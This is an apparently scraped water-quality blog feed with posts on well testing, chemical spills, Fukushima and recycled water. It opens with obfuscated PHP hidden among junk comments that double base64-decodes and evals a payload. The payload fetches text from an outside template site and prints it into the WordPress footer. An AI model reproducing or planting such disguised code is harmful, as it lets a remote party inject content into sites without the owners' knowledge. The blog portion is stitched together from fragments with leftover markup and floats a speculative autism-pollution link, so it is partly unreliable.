/* asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r$f1 = eval($1);0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf
asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/$oac='SkdOdmJuUmxiblJ6SUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb2NHRjBhR2x1Wm04b1gxOUdTVXhGWDE4c1VFRlVTRWxPUms5ZlJFbFNUa0ZOUlNrdUlpOW1iMjkwWlhJdWNHaHdJaWs3RFFwcFppaHpkSEp3YjNNb0lpQWlMaVJqYjI1MFpXNTBjeXdpZDNCZlptOXZkR1Z5S0NrN0lpa2dQRDBnTUNrZ2V3MEtaR2xsS0NrN0lIMGdEUXBtZFc1amRHbHZiaUJuWlhSZlkzSmxaR2wwY3lncERRb2dJQ0FnZXcwS0lDQWdJQ0FnSUNBa2RYQmtZWFJsWkNBOUlHZGxkRjl2Y0hScGIyNG9JbU55WldScGRGOWtZWFJsSWlrN0RRb2dJQ0FnSUNBZ0lHbG1JQ2dvZEdsdFpTZ3BJQzBnSkhWd1pHRjBaV1FwSUQ0Z0tESTBJQ29nTXpZd01Da3BJSHNOQ2cwS0lDQWdJQ0FnSUNBZ0lDQWdKR055WldScGRGOTBaWGgwSUQwZ1ptbHNaVjluWlhSZlkyOXVkR1Z1ZEhNb0ltaDBkSEE2THk5M2QzY3VkMjl5WkhCeVpYTnpkR1Z0Y0d4aGRHVnpMbU52YlM5bWIzSnRYM2R2Y21zdmIzVjBjSFYwTG5SNGREOXlaV1k5SWk1blpYUmZZbXh2WjJsdVptOG9KM1Z5YkNjcEtUc05DaUFnSUNBZ0lDQWdJQ0FnSUhWd1pHRjBaVjl2Y0hScGIyNG9JbU55WldScGRGOTBaWGgwSWl3a1kzSmxaR2wwWDNSbGVIUXBPdzBLQ1FrSmRYQmtZWFJsWDI5d2RHbHZiaWdpWTNKbFpHbDBYMlJoZEdVaUxIUnBiV1VvS1NrN0RRb2dJQ0FnSUNBZ0lIMGdaV3h6WlNCN0lBMEtJQ0FnSUNBZ0lDQWdJQ0FnSkdOeVpXUnBkRjkwWlhoMElEMGdaMlYwWDI5d2RHbHZiaWdpWTNKbFpHbDBYM1JsZUhRaUtUc05DaUFnSUNBZ0lDQWdmUTBLSUNBZ0lDQWdJQ0J5WlhSMWNtNGdKR055WldScGRGOTBaWGgwT3cwS0lDQWdJSDBOQ2cwS1lXUmtYMkZqZEdsdmJpZ25kM0JmWm05dmRHVnlKeXduY0hKcGJuUmZabTl2ZEdWeUp5azdEUW9OQ21aMWJtTjBhVzl1SUhCeWFXNTBYMlp2YjNSbGNpZ3BEUW9nSUNBZ2V3MEtKR055WldScGRDQTlJR2RsZEY5amNtVmthWFJ6S0NrN0RRcGxZMmh2SUNSamNtVmthWFE3RFFwOQ==';/*asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340 hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf
asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/$f1=base64_decode(base64_decode($oac));/*asdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n= sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfas dklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfdf923rjpidnfa9234wdposfkn230hw*/eval($f1);/*ff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposf43=0weqpn2340f0n230snfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2nsaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0weqpn234r0f0n230sdnfasdklnasdfknasdf923rjpidnfa9234wdposfkn230hwff0n23r0wf2n=sdaofn340hf0243=0we*/?>
Wow. If that list did not alarm you, then read it and re-read it until common sense kicks in and you feel a chill down your back. Our water situation looks bleak and unless something changes — meaning unless WE make changes — the situation will only get worse.
Right now at this very moment some of you reading this are thinking, “I’m so glad that sort of horrible stuff isn’t happening near me.” Well, you’re WRONG because it IS happening near you. Just ask Flint, Michigan residents, folks living in communities where the water wells started running dry years ago, folks living near coal ash dumps in North Carolina, folks in Texas whose water contains frightening arsenic levels, folks who lived on or near military bases whose fuel depots leaked in ‘secret’ for many years… and the list keeps getting longer.
What we do with the water today dictates explicitly how much water we will have tomorrow.
Naturally big business and industry giants claim the ‘link’ between environmental pollutants and increased numbers of children getting diagnosed with Autism fails to hold water, but no matter what, two facts remain: 1) Our environment continues to get polluted by a seemingly endless number of hazardous and not-‘yet’-defined-as-hazardous, chemicals and compounds; 2) More and more kids keep getting diagnosed with Autism and similar conditions each year.
Whether a link truly exists between those two facts or not, we see two problems that either need to get solved together or solved separately. Either way they need to get SOLVED.
As the title of this article suggested, we recently ran across a list of ten chemicals highly suspected as possible causes of Autism and other learning or developmental disabilities. The list comes from an article on the Prevention.Com web site.
Moral of the story?
As a society we have already dumped way too many compounds and chemicals into the environment without fully understanding the impact that most of them by themselves will have on future generations… let alone the impact that they ALL will have when combined in our food and water supplies.
Do the chemicals in the list above cause Autism? Some say, “Yes!” and others say, “No!” We say get the chemicals out of the water supply (be it ground water OR tap water, by the way!) and see what happens.
One way or the other SOMEthing will have to improve, right?
Good morning, Nick, and thank you for contacting us about your well water situation. First off, we would like to know why you suspect ‘contamination by gas’ in your well water? Do you smell a particular scent or detect an unusual taste?
Hydrogen sulfide gas (in very low concentrations) gives off a distinct sulfur or ‘rotten egg’ smell.
Methane, on the other hand, has no natural scent or smell to it. The smell associated with methane often resembles that of hydrogen sulfide gas because utility companies and commercial distributors of methane often mix trace amounts of hydrogen sulfide gas with the methane to aid in leak detection.
As far as testing for methane goes, the gas typically volatilizes very quickly at ambient (room) temperature and therefore testing for it in drinking water becomes extremely difficult.
Facts about Methane: http://www.dhs.wisconsin.gov/eh/chemfs/fs/Methane.htm
Something else to consider: If you detect a sulfur smell ONLY when running hot water, you may have a problem with your hot water heater.
Location, location, location…
The real estate market has touted that phrase for years as one of the most important factors in determining the value of property.
With that in mind, when it comes to well water quality, the ‘value’ (quality) of well water depends greatly on the placement of the well.
We see that you hail from Texas. By any chance do you live in an area where natural gas harvesting takes place or has taken place recently? If so, or if you live in close proximity to industrial parks or other potential sources of chemicals that could leak into the ground, basic at-home water test kits will more than likely not cover all the bases and you may want to consider laboratory testing
Regarding testing options, you can either contact a local water testing laboratory (your local board of health should have a list of qualified laboratories in your area) and have them perform analyses on your water or you may want to consider using mail-in use water testing services like National Testing Laboratories.
Moral of the story?
While pretty much everyone knows we suggest a regular regimen of well water testing (at the very least annually for things like coliform bacteria, nitrates, nitrites, arsenic, heavy metals, etc.), we ALSO think it of paramount importance that people do NOT procrastinate when it comes to testing their water if/when they suspect a problem.
Taking the time to perform the testing required to effectively and efficiently diagnose a water quality problem always makes sense! Remember: It’s your water, your health, and ultimately… your LIFE!
Yes, you read that correctly: 230,000 gallons of molasses oozed from a broken pipe as the Maston Navigation Company attempted to transfer a shipment of molasses from holding tanks on land to an oceangoing transport ship bound for somewhere in California.
Sorry for the bad pun.
Stories like this make us wonder how many other accidental spills take place around us that no one — other than those directly involved in the spills — ever finds out about.
Test kits for molasses?
Uh, no, not really. Last we checked molasses did not appear on the EPA’s list of Primary Drinking Water Standards and we suspect that even after this spill, no one will petition the EPA to add it to the list.
Moral of the story?
Disasters like this one, the recent killing off of fish in a 40 kilometer stretch of the Fuhe River (by an ammonia discharge from a chemical plant) in China, and the radioactive debacle at the Fukushima nuclear reactor site in Japan will continue to happen so we suggest staying vigilant, watching the news for word of environmental issues in your area, and, of course, testing your water periodically.
Perhaps you may not ever test for molasses or radioactive materials, but you may possibly have a need at some point to test for more common drinking water contaminants like heavy metals (i.e. iron, copper, lead, etc.), pesticides, volatile organic compounds (VOC’s), and others.
Today we read an article on Yahoo that contained seemingly one piece of bad news after another. For your convenience we will attempt to highlight the horrors taking place at the crippled TEPCO controlled nuclear power plant below:
The article also mentioned Tokyo, Japan’s successful bid to host the 2020 Olympics… but honestly WE DON’T CARE about the 2020 Olympics when something desperately needs to get done to stop the flow of radioactive water and materials into the Pacific Ocean.
Let us not forget how Godzilla ‘supposedly’ got mutated: Radioactivity. At this point no one seems to know WHAT’s on the full list of radioactive materials that has already made its way into subterranean waterways headed into the ocean OR exactly WHERE all those contaminants have gone — except out into the sea… someplace… they think.
Coming to a beach near you…
Anyone who believes waste products from the Fukushima reactor site cannot reach their country needs to spend a few minutes researching past and present news stories about debris from the 2011 tsunami in Asia washing up on shorelines all around the world.
Moral of the story?
Stay tuned for more bad news, folks… More. Bad. News.
Due to a lack of carcasses in Chinese rivers recently, Chinese officials proudly announced yesterday that authorities working along the Fuhe River in the Hubei Province had successfully removed more than 100,000 kilograms of dead fish from a roughly 40 kilometer stretch of water in the past day or so.
OK, so maybe the REAL and ACTUAL announcement came with a lot less enthusiasm and joy…
All kidding aside,
Now before some of you think we have jumped on the ‘pick on China bandwagon’ that has circled around once more, please try to remember that practically NO modern, industrialized country on this planet made the transition from mostly agricultural to highly industrialized without sever growing pains — and instances of mass pollution.
Oh, and as for all the recent allegations of bribes going to Chinese officials if they would turn a blind eye to the illegal dumping of chemicals and waste products into the environment, well, please highlight an example of a fast-growing nation streaming towards mass industrialization that did or does not have that same problem.
No, we do NOT condone the blatant disregard for environmental standards that we have witnessed in China recently and NO we do not intend to DEFEND China’s history of telling the rest of the world to go scratch while it exploits and pollutes its natural resources in spite of the rest of the world’s pleas for China to show moderation in the way it utilizes those resources.
And in the end…
We DO hope that the world will take note of this tragic loss of aquatic life in the Fuhe River and press China to enact (and enforce!) stricter environmental regulations while holding past offenders responsible for the many environmental messes they’ve created by coercing them to clean up those messes.
You may read more on the horrific Fuhe River environmental debacle here.
]]>
Conditions or Nearby Activities | Recommended Test |
Recurrent gastrointestinal illness | Coliform bacteria |
Household plumbing contains lead | pH, alkalinity, total hardness, lead, copper |
Radon present in indoor air or region | Radon |
Scaly residues, soaps don’t lather | Total hardness |
Water softener to treat hardness | Manganese, iron |
Stained plumbing fixtures, laundry | Iron, copper, manganese |
Bad taste or smell | Hydrogen sulfide, pH, alkalinity, total hardness, metals |
Water is cloudy, frothy or colored | Color, detergents |
Corrosion of pipes, plumbing | pH, alkalinity, total hardness |
Rapid wear of water treatment equipment | Nitrate, pesticides, coliform bacteria |
Nearby coal, other mining operation | Metals, pH, cyanide |
Gas drilling operation nearby | Chloride, sodium, barium, strontium |
Gasoline or fuel oil odor | Volatile organic compounds (VOCs) |
Dump, landfill, factory nearby | VOCs, pH, sulfate, chloride, metals |
Salty taste or heavily salted roadway nearby | Chloride, TDS, sodium |
Most information in the tables above and below extracted from: http://deq.state.wy.us/wqd/testingLabs.htm
The link above also featured a list of potential reason for one to test their water. See below, please, and keep in mind that neither the list above nor the list below serves as an all-inclusive list of reason to test one’s water supply. Many other hazardous water quality situations exist other than the ones in this article!
Suspected Contaminant | When to Test |
Arsenic | Obtain baseline test results, follow up with (at least) annual testing, and test sfter installation of treatment system to ensure proper function |
Bacteria | At least annually, if a newborn or elderly person resides in the home, after installation/service of well equipment, and any time the well casing may have gotten compromised |
Iron | Water has a reddish hue or leaves reddish, rusty stains on fixtures |
Nitrate | Shouldget tested (at least) annually, in agricultural areaseas, and if pregnant women or very young children reside in the home |
Uranium | Shallow wells in areas known to contain bedrock with a lot of uranium |
Radon | Most areas require this testing before the sale of a home may get completed |
Sulfur & Manganese | Water has a bitter taste and/or rotten egg odor |
Headline from Perth (Australia) article: “RECYCLED water from showers, washing machines and toilets will be pumped into Perth’s underground drinking water supply after the State Government today officially signed off on a plan by the Water Corporation.” ( source )
There you have it, folks. An area often plagued by drought in recent years (caused by global warming or just another hot spell?) has turned to recycled water as a means of ‘drought-proofing’ itself against future water shortages.
Is recycled water safe to use (i.e. drink)?
According to the article, water experts in the Perth area did not take the idea of its citizens drinking recycled water lightly.
Research and trials involving an isolated aquifer cost more than $116M and lasted for a period of about 3 years. During that time more than 2 billion liters of wastewater from a designated water treatment plant discharged its product (treated to meet Australian drinking water standards) into the aquifer.
Drinking water experts regularly tested water in the aquifer for things like bacterial and fecal contamination for the full three years — the study/trial ended in December 2012 — and even now test results still come back clean. All in all more than 62,000 water samples got tested!
How long until the system goes live?
As long as no ‘surprises’ come to light, the recycled water will enter the infrastructure supplying homes and businesses in June of 2016… though for three years the water treatment plant has pumped its recycled water into the ground and a definite possibility exists that some of that recycled water may have already snaked its way through underground crevices into aquifers currently in use.
If the first phase of the water recycling project works as planned once brought online, two more water projects may go online in the next few years, as well.
Would we support the use of recycled water for drinking?
We said it before and we will say it, again: Given the option of drinking non-recycled versus recycled water we will always choose non-recycled… BUT we also know the day fast approaches when the option of non-recycled water may no longer exist — because humans have all but ruined the planet’s supply of fresh, potable water.
So, we tip our hats to the hardworking folks in Perth who engineered and executed this test of current water filtering and water recycling technology — because when the day comes for us all to take our first sips of recycled water at least we now know the technology exists to make the water ‘safe’ for consumption by accepted drinking water standards.
Water testing close to home…
As many of you know, we STRONGLY believe in home water testing and especially so for folks that draw their water from a private water well.
“It’s your water, your life… and ultimately, your HEALTH!”
Thirsty? Get up and get a glass of water. Dirty? Hop in the shower. Lawn turning brown? Turn on the irrigation system.
But… what will happen when all that lovely water we have grown accustomed to suddenly goes away? How will we survive? CAN we survive?
Crisis aborted
Thousands of people in the Maryland nearly found themselves in a situation where they would have had to answer that question… for as many as five whole days due to problems with a critical water main installed a long time ago that started to show signs of its age (i.e. the thing is breaking down) and now needs to get replaced.
Thankfully engineers claim to have devised a plan that will allow water to flow to the community while the repairs take place. Granted certain water use restrictions will exist for the duration of the repairs, but at least people will have the ability to enjoy a cold glass of water and flush toilets.
What have we learned?
Wise people learn from good times, bad times, and times that could have gone either way… or at least they SHOULD.
A good amount of the United States’ infrastructure has remained in place and virtually untouched (except for urgently needed repairs) and now the time has come for 1 of 2 things to happen: 1) We can sit and do nothing while it all falls apart and crises like the one narrowly avoided start happening with regularity; or 2) Take a long, hard look at the condition of our water systems and start performing repairs BEFORE things break to the point where the water must get turned off (or shuts itself off!).
]]>Health and safety experts in the EA claim the levels detected pose no danger to the environment or humans… but other folks, like ourselves, believe the introduction of ANY foreign compound into the environment or human body poses, on some level, a risk.
Where did the pesticides come from?
As we mentioned earlier, pesticides (in this case slug poisons) use metaldehyde. Farmers distribute pellets containing metaldehyde around their crops to keep slugs from destroying their plants.
Heavy rains in recent times resulted in greater than usual amounts of runoff carrying slug poisons (and other agricultural matter) away from agricultural areas and into bodies of water.
Then, after the rains stopped, farmers needed to re-apply the slug poisons to protect their crops from slug damage… and the cycle started over again.
Why not just ban the use of metaldehyde?
Three words: Because it works! (and no one has come up with a better solution for slugs… or have they?)
Some environmentalists argue that a MUCH better slug preventative exists and has ALWAYS existed. Creatures like hedgehogs, frogs, toads, wild birds, predatory nematodes, and carabid beetles whose numbers have dwindled (as a result of mankind’s actions!) love to munch on slugs!
*** Pause for dramatic effect while you think about chewing on a slug ***
By re-introducing more natural predators of the slug into the picture environmentalists theorize that farmers could become less reliant on poisons that contain metaldehyde.
And in conclusion?
Whether you live in England or Wales where slugs need killing or near the Mississippi River where nitrate levels have risen this year, the risk of drinking water contamination as a result of runoff will always exist. That fact alone should make each and every one of us want to stay vigilant and monitor the quality of the water we drink.